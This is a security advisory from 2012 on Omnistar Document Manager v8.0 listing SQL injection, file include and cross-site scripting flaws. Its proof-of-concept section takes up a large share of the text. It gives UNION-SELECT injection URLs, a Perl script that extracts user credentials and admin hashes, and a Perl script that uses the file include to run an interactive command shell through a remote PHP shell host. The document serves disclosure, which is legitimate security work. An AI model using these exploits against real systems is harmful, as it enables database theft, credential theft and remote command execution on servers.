Title: ====== Omnistar Document Manager v8.0 - Multiple Vulnerabilities Date: ===== 2012-10-03 References: =========== http://www.vulnerability-lab.com/get_content.php?id=712 VL-ID: ===== 712 Common Vulnerability Scoring System: ==================================== 8.3 Introduction: ============= You can easily manage all of your documents with Omnistar Document Management Software. Perform multiple uploads of large files and deliver them without using attachments. Never worry about which employees have and don t have accounts with unlimited users. Setup user groups to manage thousands of users and set own permissions. (Copy of the Vendor Homepage: http://www.omnistardrive.com/ ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple critical Web Vulnerabilities in Omnistardrives Omnistar Document Manager v8.0. Report-Timeline: ================ 2012-10-03: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Omnistar Interactive Product: Document Manager v8.0 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== 1.1 Multiple SQL Injection Vulnerabilities are detected in Omnistardrives Omnistar Document Manager v8.0 web application. The sql injection vulnerability allows an remote attacker to inject own sql commands/statements on the affected application dbms. The vulnerabilities are detected in the user portal and admin section of the application. The sql vulnerabilities can be exploitation by remote attackers without privileged application user or admin account. The sql bugs are located index.php file with the bound vulnerable report_id, delete_id, add_id, return_to, interface, page & sort_order parameter requests. Successful exploitation of the vulnerabilities results in application dbms compromise & dbms manipulation via sql injection. Vulnerable Section(s): [+] /user [+] /admin Vulnerable Module(s): [+] index.php Vulnerable Parameter(s): [+] report&id= [+] sort_order [+] delete&id= [+] page= [+] interface= 1.2 A local file include vulnerability is detected in Omnistardrives Omnistar Document Manager v8.0 web application. The vulnerability allows a local privileged user account to include and load local system files. The vulnerability is located in the index module with the bound vulnerable area parameter request. Successful exploitation of the vulnerability results in a web server compromise via file load or information disclosure via local system file include. Vulnerable Section(s): [+] /user [+] /admin Vulnerable Module(s): [+] index.php [+] class.inc.php Vulnerable Parameter(s): [+] area= 1.3 Multiple non persistent cross site scripting vulnerabilities are detected in Omnistardrives Omnistar Document Manager v8.0 web application. The vulnerabilities allow remote attackers to hijack administrator/moderator/customer sessions via persistent malicious script code inject on application side. The vulnerabilities are located in the interface exception-handling module of the application with the client side bound vulnerable interface, act, name & alert_msg parameter requests. Vulnerable Section(s): [+] /user [+] /admin Vulnerable Module(s): [+] index.php Vulnerable Parameter(s): [+] interface [+] act [+] name [+] alert_msg Proof of Concept: ================= 1.1 The sql injection vulnerabilities can be exploited by remote attackers without required user inter action and without privileged application user account. For demonstration or reproduce ... https://127.0.0.1:1338/[PATH]/index.php ?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=report&id=-1' union all select 1,2,3,4,()database,6-- https:/127.0.0.1:1338/[PATH]/index.php ?area=main&interface=users&sort_by=1&sort_order=ASC&page=-1%27&return_to=@list&act=list&sort_by=first_name&sort_order=-1' union all select 1,2,3,4,()database,6-- https://127.0.0.1:1338/[PATH]/index.php ?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=-1' union all select 1,2,3,4,()database,6-- https://127.0.0.1:1338/[PATH]/index.php ?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=-1' union all select 1,2,3,4,()database,6-- https://127.0.0.1:1338/[PATH]/index.php ?interface=-1' union all select 1,2,3,4,()database,6--&alert_msg=1337 https://127.0.0.1:1338/[PATH]/index.php ?area=main&interface=recycle_bin&act=list&sort_by=1&sort_order=ASC&page=-1' union all select 1,2,3,4,()database,6-- &return_to=-1' union all select 1,2,3,4,()database,6-- #!/usr/bin/perl use IO::Socket; if(@ARGV < 1){ print " =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Remote SQL-Injection Exploit - Omnistar Document Manager v8.0 > --- > $file ... can also be exchanged with the following parameters --- > $file2 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id="; > $file3 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=-1%27&return_to=@list&act=list&sort_by=first_name&sort_order="; > $file4 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=report&id="; > $file5 = "/[INCLUDE PATH]/index.php?area=main&interface=recycle_bin&act=list&sort_by=1&sort_order=ASC&page="; > --- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- "; exit(); } $server = $ARGV[0]; $server =~ s/(http:\/\/)//eg; $host = "http://".$server; $port = "80"; $file = "/[INCLUDE PATH]/index.php?interface="; print "Script : "; $dir = ; chop ($dir); if ($dir =~ /exit/){ print "[+] Exploit Failed\n"; exit(); } if ($dir =~ /\//){} else { print "[+] Exploit Failed\n"; exit(); } print "User : "; $ID = ; chop ($ID); if ($ID =~ /exit/){ print "[+] Exploit Failed\n"; exit(); } $len=length($ID); if ($len == 1){} else { print "[+] Exploit Failed\n"; exit(); } $target = "-1+union+all+select+1,2,3,4,concat(X,0x3a,X,0x3a,X),6,7,+from+user+limit+1,1/*".$ID; $target = $host.$dir.$file.$target; print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"; print "[+] Verbinden zu ... [> : $server\n"; $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "[+] Verbindungsaufbau fehlgeschlagen...!\n"; print $socket "GET $target HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; print "[+] Connected!...\n"; while($answer = <$socket>) { if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){ print "[+] Exploiting the System! Grab Admin-HASH\n"; print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"; print "[+] Clear Username: $1\n"; } if ($answer =~ /Syntax error/) { print "+ Exploit Failed : ( \n"; print "[+] SYNTAX ERROR! Request: bkm@vulnerability-lab.com"; exit(); } if ($answer =~ /Internal Server Error/) { print "+ Exploit Failed : ( \n"; print "[+] INTERNEL ERROR! Check out your Ressources"; exit(); } break; } close($sock); 1.2 The local file include vulnerability can be exploited by local low privileged user account without required user inter action. For demonstration or reproduce ... https://127.0.0.1:1338/[PATH]/index.php?area=../../[LOCAL FILE INCLUDE VULNERABILITY!]/&.. https://127.0.0.1:1338/[PATH]/index.php?area=http://[LOCAL FILE INCLUDE VULNERABILITY!]&.. #!/usr/bin/perl use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()} head(); while() { print "[shell] \$"; while() { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'[INCLUDE PATH HERE!]/index.php?area='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[....]/; if (!$cmd) {print "\nBitte geben sie ein Kommando ein\n\n"; $return ="";} elsif ($return =~/Stream öffnen fehlgeschlagen: HTTP Request fehlgeschlagen/ || $return =~/: Kommando Zeile Angeben! /) {print "\nKann keine Verbindung zum CMD HOST aufbauen oder Ungültige Kommando Variable\n";exit} elsif ($return =~/^.Fatal.error/) {print "\nUngültiges Kommando oder Kein Eingabe\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[....]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n"; print " >> Local File Include Vulnerability - Omnistar Document Manager v8.0 (?area=) \r\n"; print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n"; } sub usage() { head(); print " Usage: exploitname.pl [TARGET] [CMD SHELL location] [CMD SHELL Variable]\r \n\n"; print " [Full Path] [http://www.webseite.com/] \r\n"; print " \r\n"; print " - Command variable - PHP SHELL \r\n"; print "============================================================================\r\n"; print " by ~BKM AKA Rem0ve \r\n"; print " www.vulnerability-lab.com \r\n"; print "============================================================================\r\n"; exit(); } 1.3 The client side cross site scripting vulnerabilities can be exploited by remote attackers without required application user account and with low or medium user inter action by an administrator/moderator/customer. For demonstration or reproduce ... Omnistar Document Manager v8.x - Client Side Cross Site Scripting PoC